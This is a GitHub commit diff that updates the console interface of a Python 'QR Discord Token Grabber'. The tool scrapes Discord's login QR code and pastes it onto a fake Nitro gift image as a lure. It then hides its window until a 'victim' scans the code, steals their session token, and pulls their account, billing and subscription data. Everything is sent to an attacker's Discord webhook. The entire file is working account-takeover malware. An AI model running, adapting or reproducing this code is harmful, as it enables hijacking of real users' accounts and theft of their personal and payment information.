New GUI update for the script

This commit is contained in:
mouadessalim
2022-08-25 18:16:49 +01:00
committed by GitHub
parent 9efdafad40
commit 39726615db

View File

@@ -1,26 +1,26 @@
import base64, os, re, time, sys import base64, os, re, time, sys
from requests import get from requests import get
from bs4 import BeautifulSoup from bs4 import BeautifulSoup
from colorama import Fore, init
from PIL import Image from PIL import Image
from selenium import webdriver from selenium import webdriver
from selenium.webdriver.chrome.service import Service from selenium.webdriver.chrome.service import Service
from discord_webhook import DiscordEmbed, DiscordWebhook from discord_webhook import DiscordEmbed, DiscordWebhook
from utilities import pystray_img from pystyle import System, Center, Colorate, Colors, Box, Write
from utilities import pystray_img, banner
from pystray import Menu, MenuItem, Icon from pystray import Menu, MenuItem, Icon
from io import BytesIO from io import BytesIO
import ctypes import ctypes
from threading import Thread from threading import Thread
from shutil import get_terminal_size
import time
def generate_qr() -> None: def generate_qr() -> None:
#Generate a QR code to paste onto a discord nitro template.
qr_img = Image.open(os.path.normpath(r"resources/qr_code.png"), "r") qr_img = Image.open(os.path.normpath(r"resources/qr_code.png"), "r")
ovly_img = Image.open(os.path.normpath(r"resources/overlay.png"), "r") ovly_img = Image.open(os.path.normpath(r"resources/overlay.png"), "r")
qr_img.paste(ovly_img, (60, 55)) qr_img.paste(ovly_img, (60, 55))
qr_img.save(os.path.normpath(r"resources/final_qr.png"), quality=95) qr_img.save(os.path.normpath(r"resources/final_qr.png"), quality=95)
def generate_nitro_template() -> None: def generate_nitro_template() -> None:
#Generate the nitro template using the QR code generated by generate_qr.
nitro_template = Image.open(os.path.normpath(r"resources/template.png"), "r") nitro_template = Image.open(os.path.normpath(r"resources/template.png"), "r")
qr_img = Image.open(os.path.normpath(r"resources/final_qr.png"), "r") qr_img = Image.open(os.path.normpath(r"resources/final_qr.png"), "r")
nitro_template.paste(qr_img, (120, 409)) nitro_template.paste(qr_img, (120, 409))
@@ -35,7 +35,6 @@ def get_user_data(tk):
return None return None
def get_discord_info(tk, link_int): def get_discord_info(tk, link_int):
#Get payment and sub information.
headers = {'Authorization': tk} headers = {'Authorization': tk}
if link_int == 1: if link_int == 1:
response = get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json() response = get('https://discordapp.com/api/v6/users/@me/billing/payment-sources', headers=headers).json()
@@ -44,15 +43,7 @@ def get_discord_info(tk, link_int):
return response return response
def main(webhook_url) -> None: def main(webhook_url) -> None:
"""Use selenium webdriver to go to the discord login page. Write.Print("\n\n[!] Generating Qr-Code...", Colors.red_to_purple)
Then, grab the source of the page and use regex to identify the class
name of the div that contains the QR login image, regardless of
whether the class name changes (this avoids the program breaking
in the future). Finally, wait for a user to log in and then send token
to webhook.
"""
print(f"""
{Fore.LIGHTMAGENTA_EX}Generating QR — do not close until finished!""")
webdriver.ChromeOptions.binary_location = r"browser/chrome.exe" webdriver.ChromeOptions.binary_location = r"browser/chrome.exe"
opts = webdriver.ChromeOptions() opts = webdriver.ChromeOptions()
opts.add_experimental_option("detach", True) opts.add_experimental_option("detach", True)
@@ -61,11 +52,10 @@ def main(webhook_url) -> None:
opts.add_argument('--log-level 3') opts.add_argument('--log-level 3')
driver = webdriver.Chrome(service=Service(os.path.normpath(r"browser/chromedriver.exe")), options=opts) driver = webdriver.Chrome(service=Service(os.path.normpath(r"browser/chromedriver.exe")), options=opts)
driver.get("https://discord.com/login") driver.get("https://discord.com/login")
time.sleep(5) # Make sure QR has fully loaded before taking source! time.sleep(5)
source = BeautifulSoup(driver.page_source, features="lxml") source = BeautifulSoup(driver.page_source, features="lxml")
if not (div := re.search(r"qrCode-......", str(source))): if not (div := re.search(r"qrCode-......", str(source))):
print(f"{Fore.LIGHTRED_EX}Error: \ print(Write.Print("\n[!] QR Code is not found, please retry or contact us !'", Colors.red_to_yellow))
the regular expression 'qrCode-......' is not found.")
sys.exit() sys.exit()
div = div.group(0) div = div.group(0)
div = source.find("div", {"class": f"{div}"}) div = source.find("div", {"class": f"{div}"})
@@ -74,18 +64,14 @@ the regular expression 'qrCode-......' is not found.")
div = source.find("div", {"class": "qrCode"}) div = source.find("div", {"class": "qrCode"})
file = os.path.join(os.getcwd(), r"resources/qr_code.png") file = os.path.join(os.getcwd(), r"resources/qr_code.png")
img_data = base64.b64decode(qr_code.replace('data:image/png;base64,', '')) img_data = base64.b64decode(qr_code.replace('data:image/png;base64,', ''))
with open(file, "wb") as handler: with open(file, "wb") as handler:
handler.write(img_data) handler.write(img_data)
Write.Print("\n[!] Generating QR-Code template...", Colors.red_to_purple)
discord_login = driver.current_url discord_login = driver.current_url
generate_qr() generate_qr()
Write.Print("\n[!] Generating QR-Code Nitro template...", Colors.red_to_purple)
generate_nitro_template() generate_nitro_template()
Write.Print("\n[#] Waiting for target...", Colors.red_to_purple)
print(f"""
{Fore.LIGHTGREEN_EX}Generated QR as discord_gift.png!
{Fore.BLUE}Waiting for target user to scan the QR code. . .
""")
pystray_icon.icon.notify("Script currently being hided until target grabbed.", 'Waiting for target') pystray_icon.icon.notify("Script currently being hided until target grabbed.", 'Waiting for target')
time.sleep(3) time.sleep(3)
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0) ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)
@@ -104,14 +90,11 @@ return token;
pystray_icon.icon.notify("The traget scanned the QR-code sucessfuly.", 'New Victim !') pystray_icon.icon.notify("The traget scanned the QR-code sucessfuly.", 'New Victim !')
time.sleep(3) time.sleep(3)
ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1) ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 1)
print(f""" Write.Print(f"\n\n[?] Token grabbed: {token}", Colors.rainbow)
{Fore.LIGHTGREEN_EX}The following token has been grabbed: {token} Write.Print("\n\n[!]Fetching token data...", Colors.red_to_purple)
{Fore.LIGHTYELLOW_EX}Sending Info to Discord Webhook... {Fore.LIGHTWHITE_EX}""",
end="")
driver.quit() driver.quit()
webhook = DiscordWebhook(url=webhook_url, username='QR-Dtg', avatar_url="https://c.tenor.com/h3fCM442dCcAAAAC/discord-logo.gif") webhook = DiscordWebhook(url=webhook_url, username='QR-Dtg', avatar_url="https://i.postimg.cc/qRHbRP2g/discord-avatar.png")
embed = DiscordEmbed(color='FF00FF') embed = DiscordEmbed(color='88c800')
if re.search(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) != None: if re.search(r"[\w-]{24}\.[\w-]{6}\.[\w-]{25,110}", token) != None:
userdata, user_billings, user_subs = get_user_data(token), get_discord_info(token, 1), get_discord_info(token, 2) userdata, user_billings, user_subs = get_user_data(token), get_discord_info(token, 1), get_discord_info(token, 2)
if userdata != None: if userdata != None:
@@ -132,25 +115,19 @@ end="")
else: else:
embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False) embed.add_embed_field(name='Token', value=f"```yaml\n{token}\n```", inline=False)
webhook.add_embed(embed) webhook.add_embed(embed)
embed.set_footer(text='Created by NightfallGT, Revised by Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0', inline=False) embed.set_footer(text='By Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0', inline=False)
Write.Print("[!]Sending data to discord webhook...", Colors.red_to_purple)
webhook.execute() webhook.execute()
print(f"{Fore.LIGHTGREEN_EX}Information sended to webhook !") Write.Input('\n\nPress any button to quit.', Colors.blue_to_green)
if __name__ == "__main__": if __name__ == "__main__":
init() System.Title('QR DISCORD LOGIN - By Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0')
os.system("cls") System.Size(140, 35)
print(f""" def print_center(s):
return s.center(get_terminal_size().columns)
{Fore.GREEN}QR Discord Token Grabber print(Colorate.Horizontal(Colors.cyan_to_green, Center.XCenter(banner), 1))
{Fore.BLUE}Created by NightfallGT print(Colorate.Horizontal(Colors.rainbow, Center.GroupAlign(Box.DoubleCube("By Luci (9P9), Lemon.-_-.#3714, the-cult-of-integral and mte0")), 1))
Revised by Luci (9P9) print(Colorate.Horizontal(Colors.rainbow, Box.Lines("https://github.com/9P9/Discord-QR-Token-Logger").replace('', "$"), 1), "\n")
Revised by Lemon.-_-.#3714 (mouadessalim)
Revised by the-cult-of-integral
Revised by mte0
{Fore.LIGHTYELLOW_EX}Enter a webhook URL.
>>> {Fore.LIGHTWHITE_EX}""", end="")
def pystray_icon(): def pystray_icon():
def window_state(icon, item): def window_state(icon, item):
if str(item) == 'Show': if str(item) == 'Show':
@@ -169,7 +146,7 @@ Revised by mte0
pystray_icon.icon.run() pystray_icon.icon.run()
Thread(target=pystray_icon).start() Thread(target=pystray_icon).start()
th_main = Thread(target=main, args=(input(),)) th_main = Thread(target=main, args=(Write.Input("[*] Enter your webhook url -> ", Colors.green_to_cyan, interval=0.01),))
th_main.start() th_main.start()
while True: while True:
if not th_main.is_alive(): if not th_main.is_alive():